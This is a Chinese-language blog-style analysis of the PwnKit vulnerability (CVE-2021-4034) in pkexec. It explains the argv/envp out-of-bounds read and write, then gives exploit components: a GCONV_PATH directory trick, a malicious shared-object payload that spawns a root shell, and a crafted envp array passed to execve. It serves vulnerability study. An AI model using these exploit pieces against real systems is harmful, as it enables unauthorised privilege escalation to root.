下载源码并编译
我的 Linux 是 Kali 系统,查看自带的 pkexec 版本,以及下载对应的源代码。
1 | # kali @ kali in ~/CVEs/CVE-2021-4034 [1:26:04] |
1 | # kali @ kali in ~/CVEs/CVE-2021-4034 [1:29:34] |
漏洞分析
漏洞成因是在解析命令行参数数组 argv 时,发生了数组越界读,随后又发生了数组越界写到环境变量数组,导致第一个环境变量可被修改。接下来会分别从程序正常运行流程和漏洞触发流程进行分析。
正常执行流程
在 pkexec 工具的 main 函数中,使用如下的 for 循环来处理所有的命令行参数,方式是读取 argv[1] 到 argv[argc] 并进行比较,设置相应的标志位。
使用了一个断言,argv[argc] 必须为 NULL。从 argv[n] 开始复制字符串到 path 变量中,如果 path 等于 NULL,打印帮助信息并退出;如果 path[0] 不是以 / 字符开始的,则从 PATH 环境变量中以 path 字符串搜索应用程序是否存在,并将结果复制到变量 s,如果应用程序存在,则将应用程序路径重新赋值给变量 path 和 argv[n]。main 函数中也会重新构造新的命令行参数列表。
变量 path 和新的命令行参数会一起送入到 execv 函数执行。
漏洞触发流程
在解析命令行参数的时候,使用了循环变量 n,但是 n 的初始值是 1。如果 pkexec 传入的命令行参数为空,即 argc = 1,argv[0] 等于应用程序名,argv[0] = NULL。那么当参数解析流程结束时,变量 n = 1,那么在此处 argv[1] 存在越界读。
同样,在此处存在越界写入到 argv[1]。
当 execve 执行一个新程序的时候,内核会将命令参数指针 argv、环境变量字符串指针 envp 复制到新程序堆栈的中,如下所示:
1 | |---------+---------+-----+------------|---------+---------+-----+------------| |
因为 argv 和 envp 在内存中是连续的,当 argc 等于 0,那么前面所说的 argv[n] = argv[1] 也就是 envp[0]。
以上就是漏洞触发的原理,接下来梳理一下漏洞触发的完整流程,假设 pkexec 是通过 execve 调用,设置 argv = NULL,envp = xxx:
在 481 行 for 循环中初始化变量 n = 1
在 537 行,出现越界读 argv[n] = argv[1] = envp[0] 到变量 path
那么此时有 path = “xxx”
在 546 行,s = g_find_program_in_path(path)
s 从环境变量 PATH 中搜索 xxx 程序的绝对路径,假设是 /usr/bin/xxx
在 553 行,出现越界写 argv[n] = argv[1] = s,即 envp[0] = {“/usr/bin/xxx”, …},环境变量数组第一个元素被覆盖
综上,使用 execve 调用 pkexec,设置命令行参数列表 argv 为 NULL,就可以通过对 envp[0] 进行越界读写。但是,写入的 envp[0] 不会存在很久,因为在源码中会对所有的环境变量进行清除。那么越界写入的环境变量就只能存在于 555~602 行代码中。
除此之外,Linux 的动态链接器 ld-linux-x86-64.so.2 会在特权程序执行时,清除一些敏感环境变量,其中就包括 GCONV_PATH 以及其他的一些具有动态加载路径的环境变量,防止低权限用户通过这些环境变量利用 SUID 权限程序造成提权。
漏洞利用
通过之前的分析,知道 pkexec 中存在越界读写环境变量漏洞,但是越界写入的环境变量的生命周期只能从 555~602 行。pkexec 是具有 SUID 权限的,普通用户可以以 root 权限运行 pkexec。
1 | $ ls -la /usr/local/bin/pkexec |
在 pkexec 的源码中使用了很多次的 g_printer 函数用于输出错误信息。如果环境变量 CHARSET 不是 UTF-8,g_printer 会调用 glibc 的 iconv_open 函数,将消息转换成 UTF-8。iconv_open 函数的执行流程是:先找到系统提供的 gconv-modules 配置文件,在这个文件中包含了各种字符集相关信息的存储路径,每个字符集的相关信息存储在一个 so 文件中。
综上:gconv-modules 配置文件提供了每个字符集 so 文件所在位置,之后会调用 so 文件中的 gconv 和 gconv_init 函数,如果修改系统的 GCONV_PATH 环境变量,也就能修改 gconv-modules 配置文件的位置,从而执行恶意的 so 文件实现任意命令执行。本质上都是想办法触发 g_printer 函数,调用恶意 so。
利用的流程是:
创建环境变量指向的目录文件结构
首先创建一个名为 GCONV_PATH=. 的文件夹,然后在其中再创建一个名为 GCONV_PATH=./lol,以及创建一个目录名为 lol 目录存放恶意的 so 文件。然后再创建一个文件 lol/gconv-modules,其中内容为 module UTF-8// PWNKIT// pwnkit 1。
1
2
3
4
5
6
7
8
9kali @ kali in ~/CVEs/CVE-2021-4034/payload [22:09:38]
tree -L 2
.
├── GCONV_PATH=.
│ └── lol
└── lol
└── gconv-modules
2 directories, 2 files构造恶意的 so 文件
在 lol 文件夹中编译一个恶意的 so,代码示例如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16// gcc -o payload.so -shared -fPIC payload.c
void gconv() {
return;
}
void gconv_init() {
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", a_argv, a_envp);
exit(0);
}1
2
3
4
5
6
7
8
9
10
11kali @ kali in ~/CVEs/CVE-2021-4034/payload [22:40:51]
tree -L 2
.
├── GCONV_PATH=.
│ └── lol
├── lol
│ └── gconv-modules
├── payload.c
└── payload.so
2 directories, 4 files使用 execve 调用 pkexec 并带入恶意的 envp 环境变量数组
设置恶意环境变量 envp 如下:
1
2
3
4
5
6
7char *a_envp[] = {
"lol", // 触发越界写,使得a_envp[0]=GCONV_PATH=./lol
"PATH=GCONV_PATH=.", // g_find_program_in_path函数查找lol,在给GCONV_PATH=./lol
"CHARSET=PWNKIT", // 触发调用g_printerr函数,从而调用恶意的so文件
"SHELL=lol", // 调用g_printerr函数,调用恶意so文件
NULL
}然后就使用 execve 调用 pkexec
1
execve("pkexec", NULL, a_envp);
综上,exp 如下:
1 |
|
运行截图: